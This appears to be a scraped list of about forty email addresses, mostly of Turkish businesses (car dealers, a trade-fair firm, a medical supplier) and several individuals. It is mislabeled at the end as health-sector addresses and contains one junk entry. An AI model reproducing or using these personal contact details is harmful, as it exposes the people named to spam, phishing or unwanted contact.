nihat-ceri@hotmail.com

info@servetgaleri.com

metin@soykanotogaleri.com

serkan7518@hotmail.com

osmanteke26@hotmail.com

bilgi@ufukbasoto.com

mustafa.erol@ulukarkia.com

uygunlarotogaleri@hotmail.com

semrae@gmail.com

emreinn@hotmail.com

Blackmamba@hotmail.com

sahinotogaleri@gmail.com

mustafasimsek1986@hotmail.com

info@askiiskele.com

info@berksanmatbaa.com

info@kayarkalip.com

bilgi@dokap.net

motorsiklet@korhansurek.com.tr

suratteknesi@korhansurek.com.tr

arazi@korhansurek.com.tr

yelken@korhansurek.com.tr

info@korhansurek.com.tr

0301a8c0@mirage1.gif

berkatay559@hotmail.com


kudret@kudretmedikal.com.tr


info@ihlasfuar.com

huseyin.boz@ihlasfuar.com

ahmet.kizil@ihlasfuar.com

ugur.dundar@ihlasdergigrubu.com

ahmet.eraslan@ihlasfuar.com

ozlem.tutar@ihlasdergigrubu.com

zeynep.yaman@ihlasfuar.com

hakan.kurt@ihlasfuar.com

erdem.mermer@ihlasfuar.com

muhasebe@ihlasfuar.com

metin.ogutcu@ihlasfuar.com

data@ihlasfuar.com

okarcioglu@gmail.com

sadik@erayonetim.com



Sağlık sektörü mail adresleri